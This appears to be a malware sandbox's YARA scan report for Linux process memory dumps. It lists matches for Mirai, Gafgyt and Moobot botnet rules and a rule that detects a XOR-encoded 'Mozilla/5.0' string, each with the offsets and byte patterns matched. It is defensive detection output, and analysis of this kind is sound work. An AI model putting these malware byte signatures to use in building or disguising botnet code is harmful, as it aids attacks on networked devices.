7249.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7249.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7446.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6534.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6534.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6534.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6534.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6534.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6534.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6702.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6702.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6702.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6702.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6702.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6702.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
6574.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6290.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6290.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6290.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6290.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6290.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6290.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7101.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7009.1.0000000001475000.0000000001476000.rw-.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x680:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x7a0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x840:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x8e0:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6815.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
6815.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
6815.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
6815.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
6815.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
6815.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
7241.1.0000000000400000.000000000041b000.r-x.sdmp	SUSP_XORed_Mozilla	Detects suspicious single byte XORed keyword \'Mozilla/5.0\' - it uses yara\'s XOR modifier and therefore cannot print the XOR key. You can use the CyberChef recipe linked in the reference field to brute force the used key.	Florian Roth (Nextron Systems)	0x196b8:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19790:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19818:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB 0x19898:$xo1: \x96\xB4\xA1\xB2\xB7\xB7\xBA\xF4\xEE\xF5\xEB
7241.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Moobot	Yara detected Moobot	Joe Security
7241.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_8	Yara detected Mirai	Joe Security
7241.1.0000000000400000.000000000041b000.r-x.sdmp	JoeSecurity_Mirai_4	Yara detected Mirai	Joe Security
7241.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Gafgyt_28a2fe0c	unknown	unknown	0x171e8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x171fc:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17210:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17224:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17238:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1724c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17260:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17274:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17288:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1729c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172b0:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172c4:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172d8:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x172ec:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17300:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17314:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17328:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x1733c:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17350:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17364:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F 0x17378:$a: 2F 78 33 38 2F 78 46 4A 2F 78 39 33 2F 78 49 44 2F 78 39 41 2F 78 33 38 2F 78 46 4A 2F
7241.1.0000000000400000.000000000041b000.r-x.sdmp	Linux_Trojan_Mirai_564b8eda	unknown	unknown	0x6d92:$a: 83 FE 01 76 12 0F B7 07 83 EE 02 48 83 C7 02 48 01 C1 83 FE 01
